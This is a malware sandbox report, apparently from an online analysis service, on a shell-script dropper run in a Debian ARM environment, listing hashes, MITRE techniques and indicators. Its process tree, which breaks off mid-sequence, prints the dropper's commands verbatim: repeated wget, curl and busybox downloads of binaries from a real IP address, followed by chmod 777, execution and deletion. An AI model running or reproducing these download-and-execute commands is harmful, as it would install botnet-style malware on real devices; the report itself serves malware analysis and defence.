77fa3f4917be2f66cb783171a3cf1c2503a25d6e4d419f6c00633d18ea183afb

Analysis

max time kernel
51s
max time network
56s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 02:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

77fa3f4917be2f66cb783171a3cf1c2503a25d6e4d419f6c00633d18ea183afb.sh
Size

10KB
MD5

928ac3545f37f454486c6da121b1d8ad
SHA1

3046c6680906db848c9b0214b81114b98b1e3b37
SHA256

77fa3f4917be2f66cb783171a3cf1c2503a25d6e4d419f6c00633d18ea183afb
SHA512

241bccfebc8ff76545fe467db32188c4133a7ba498309511c1459a346da7cef42204de16806c6bf7a577ddab03058f539617394036727484a1e640dc90764e8e
SSDEEP

192:mpJrZ7BB997eSM7y+WT79/o9/Y9/h/S/+/kaz0z8zTA8aTXHdUdcddCmFXeXSX5X:AZx9E68h6CdCmVG65iCpkzaiHDg6CdC6

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 24 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
689	chmod
697	chmod
740	chmod
752	chmod
851	chmod
899	chmod
929	chmod
794	chmod
804	chmod
864	chmod
906	chmod
922	chmod
767	chmod
819	chmod
834	chmod
892	chmod
676	chmod
705	chmod
724	chmod
785	chmod
871	chmod
878	chmod
885	chmod
915	chmod

Executes dropped EXE 24 IoCs

Checks CPU configuration 1 TTPs 24 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 48 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
933	wget
798	wget
799	curl
803	busybox
805	Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw
807	rm

Writes file to tmp directory 24 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4	curl
File opened for modification	/tmp/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl	curl
File opened for modification	/tmp/VhO2ASRFIUiaeg3eSzwnyggKzaLdliiuoY	curl
File opened for modification	/tmp/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1	curl
File opened for modification	/tmp/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT	curl
File opened for modification	/tmp/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1	curl
File opened for modification	/tmp/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT	curl
File opened for modification	/tmp/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC	curl
File opened for modification	/tmp/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY	curl
File opened for modification	/tmp/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl	curl
File opened for modification	/tmp/Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw	curl
File opened for modification	/tmp/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU	curl
File opened for modification	/tmp/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1	curl
File opened for modification	/tmp/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC	curl
File opened for modification	/tmp/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4	curl
File opened for modification	/tmp/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f	curl
File opened for modification	/tmp/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1	curl
File opened for modification	/tmp/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU	curl
File opened for modification	/tmp/irxMRueKtUIlbAD2saAWDAmbCGXWYBdjbh	curl
File opened for modification	/tmp/r0o0vPWjxxAxwoWwBA0X4F2SBoiBdX8Nuq	curl
File opened for modification	/tmp/f4er80WdZpB65CEraApSmbUBPranpIfNx7	curl
File opened for modification	/tmp/f4er80WdZpB65CEraApSmbUBPranpIfNx7	curl
File opened for modification	/tmp/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f	curl
File opened for modification	/tmp/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY	curl

/tmp/77fa3f4917be2f66cb783171a3cf1c2503a25d6e4d419f6c00633d18ea183afb.sh
/tmp/77fa3f4917be2f66cb783171a3cf1c2503a25d6e4d419f6c00633d18ea183afb.sh
1⤵
PID:650
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:655
- /usr/bin/wget
  wget http://87.120.125.191/bins/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  PID:659
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:665
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  PID:674
- /bin/chmod
  chmod 777 HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  - File and Directory Permissions Modification
  PID:676
- /tmp/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  ./HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  - Executes dropped EXE
  PID:677
- /bin/rm
  rm HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  PID:680
- /usr/bin/wget
  wget http://87.120.125.191/bins/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  PID:682
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  PID:688
- /bin/chmod
  chmod 777 kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  - File and Directory Permissions Modification
  PID:689
- /tmp/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  ./kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  - Executes dropped EXE
  PID:690
- /bin/rm
  rm kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  PID:693
- /usr/bin/wget
  wget http://87.120.125.191/bins/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  PID:694
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:695
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  PID:696
- /bin/chmod
  chmod 777 XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  ./XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  - Executes dropped EXE
  PID:698
- /bin/rm
  rm XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  PID:701
- /usr/bin/wget
  wget http://87.120.125.191/bins/f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:703
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  PID:704
- /bin/chmod
  chmod 777 f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  - File and Directory Permissions Modification
  PID:705
- /tmp/f4er80WdZpB65CEraApSmbUBPranpIfNx7
  ./f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  - Executes dropped EXE
  PID:706
- /bin/rm
  rm f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  PID:709
- /usr/bin/wget
  wget http://87.120.125.191/bins/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  PID:722
- /bin/chmod
  chmod 777 Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  - File and Directory Permissions Modification
  PID:724
- /tmp/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  ./Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  - Executes dropped EXE
  PID:725
- /bin/rm
  rm Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  PID:729
- /usr/bin/wget
  wget http://87.120.125.191/bins/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  PID:732
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  PID:738
- /bin/chmod
  chmod 777 edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  ./edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  PID:743
- /usr/bin/wget
  wget http://87.120.125.191/bins/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  PID:745
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  PID:751
- /bin/chmod
  chmod 777 K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  ./K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  - Executes dropped EXE
  PID:754
- /bin/rm
  rm K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  PID:756
- /usr/bin/wget
  wget http://87.120.125.191/bins/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  PID:765
- /bin/chmod
  chmod 777 QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  ./QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  PID:771
- /usr/bin/wget
  wget http://87.120.125.191/bins/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  PID:782
- /bin/chmod
  chmod 777 PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  ./PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  PID:788
- /usr/bin/wget
  wget http://87.120.125.191/bins/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  PID:793
- /bin/chmod
  chmod 777 XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  ./XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  - Executes dropped EXE
  PID:795
- /bin/rm
  rm XHa7wGLNPoxU2GjDBkN8uFLylZor4nV2Yl
  2⤵
  PID:797
- /usr/bin/wget
  wget http://87.120.125.191/bins/Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw
  2⤵
  - System Network Configuration Discovery
  PID:798
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:799
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw
  2⤵
  - System Network Configuration Discovery
  PID:803
- /bin/chmod
  chmod 777 Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw
  ./Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:805
- /bin/rm
  rm Gdylg4xq1BQirQxV3oUy7HvV8IEl3g3ipw
  2⤵
  - System Network Configuration Discovery
  PID:807
- /usr/bin/wget
  wget http://87.120.125.191/bins/VhO2ASRFIUiaeg3eSzwnyggKzaLdliiuoY
  2⤵
  PID:808
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/VhO2ASRFIUiaeg3eSzwnyggKzaLdliiuoY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/VhO2ASRFIUiaeg3eSzwnyggKzaLdliiuoY
  2⤵
  PID:817
- /bin/chmod
  chmod 777 VhO2ASRFIUiaeg3eSzwnyggKzaLdliiuoY
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/VhO2ASRFIUiaeg3eSzwnyggKzaLdliiuoY
  ./VhO2ASRFIUiaeg3eSzwnyggKzaLdliiuoY
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm VhO2ASRFIUiaeg3eSzwnyggKzaLdliiuoY
  2⤵
  PID:824
- /usr/bin/wget
  wget http://87.120.125.191/bins/irxMRueKtUIlbAD2saAWDAmbCGXWYBdjbh
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/irxMRueKtUIlbAD2saAWDAmbCGXWYBdjbh
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/irxMRueKtUIlbAD2saAWDAmbCGXWYBdjbh
  2⤵
  PID:832
- /bin/chmod
  chmod 777 irxMRueKtUIlbAD2saAWDAmbCGXWYBdjbh
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/irxMRueKtUIlbAD2saAWDAmbCGXWYBdjbh
  ./irxMRueKtUIlbAD2saAWDAmbCGXWYBdjbh
  2⤵
  - Executes dropped EXE
  PID:836
- /bin/rm
  rm irxMRueKtUIlbAD2saAWDAmbCGXWYBdjbh
  2⤵
  PID:839
- /usr/bin/wget
  wget http://87.120.125.191/bins/r0o0vPWjxxAxwoWwBA0X4F2SBoiBdX8Nuq
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/r0o0vPWjxxAxwoWwBA0X4F2SBoiBdX8Nuq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:844
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/r0o0vPWjxxAxwoWwBA0X4F2SBoiBdX8Nuq
  2⤵
  PID:849
- /bin/chmod
  chmod 777 r0o0vPWjxxAxwoWwBA0X4F2SBoiBdX8Nuq
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/r0o0vPWjxxAxwoWwBA0X4F2SBoiBdX8Nuq
  ./r0o0vPWjxxAxwoWwBA0X4F2SBoiBdX8Nuq
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm r0o0vPWjxxAxwoWwBA0X4F2SBoiBdX8Nuq
  2⤵
  PID:855
- /usr/bin/wget
  wget http://87.120.125.191/bins/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  PID:856
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  PID:863
- /bin/chmod
  chmod 777 HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  - File and Directory Permissions Modification
  PID:864
- /tmp/HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  ./HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  - Executes dropped EXE
  PID:865
- /bin/rm
  rm HWktezg1QoXrei15Qb5ywGlEQhCz0dtHf1
  2⤵
  PID:867
- /usr/bin/wget
  wget http://87.120.125.191/bins/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  PID:870
- /bin/chmod
  chmod 777 kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  ./kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm kEBfaeqZHzHahQF4iZoSKJaZ4hkyxdyDbU
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.125.191/bins/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  PID:877
- /bin/chmod
  chmod 777 XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  ./XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm XWnTofUZBuY6bhuucXYWc0PIsu4fI6qkY1
  2⤵
  PID:881
- /usr/bin/wget
  wget http://87.120.125.191/bins/f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  PID:884
- /bin/chmod
  chmod 777 f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/f4er80WdZpB65CEraApSmbUBPranpIfNx7
  ./f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm f4er80WdZpB65CEraApSmbUBPranpIfNx7
  2⤵
  PID:888
- /usr/bin/wget
  wget http://87.120.125.191/bins/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  PID:891
- /bin/chmod
  chmod 777 Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  ./Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm Sim6VIYZo6hKObGdzr05K6iUacFhmoNJrT
  2⤵
  PID:895
- /usr/bin/wget
  wget http://87.120.125.191/bins/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  PID:898
- /bin/chmod
  chmod 777 edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  ./edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm edJ1Oq5OEBELuhUmNxAGcftYlnaaeY76nC
  2⤵
  PID:902
- /usr/bin/wget
  wget http://87.120.125.191/bins/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  PID:903
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:904
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  PID:905
- /bin/chmod
  chmod 777 K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  - File and Directory Permissions Modification
  PID:906
- /tmp/K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  ./K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  - Executes dropped EXE
  PID:907
- /bin/rm
  rm K5rRRJhKMCAansNjl5Omy4qMczaFZjCVs4
  2⤵
  PID:909
- /usr/bin/wget
  wget http://87.120.125.191/bins/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  PID:910
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  PID:914
- /bin/chmod
  chmod 777 QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  ./QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm QOb4IWDazgJI7V87zUNYE2vMbo0iA0DP9f
  2⤵
  PID:918
- /usr/bin/wget
  wget http://87.120.125.191/bins/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/PTfOwWWsenJ482RktQbSLEsi0P87S4JMgY
  2⤵
  - Checks CPU configuration
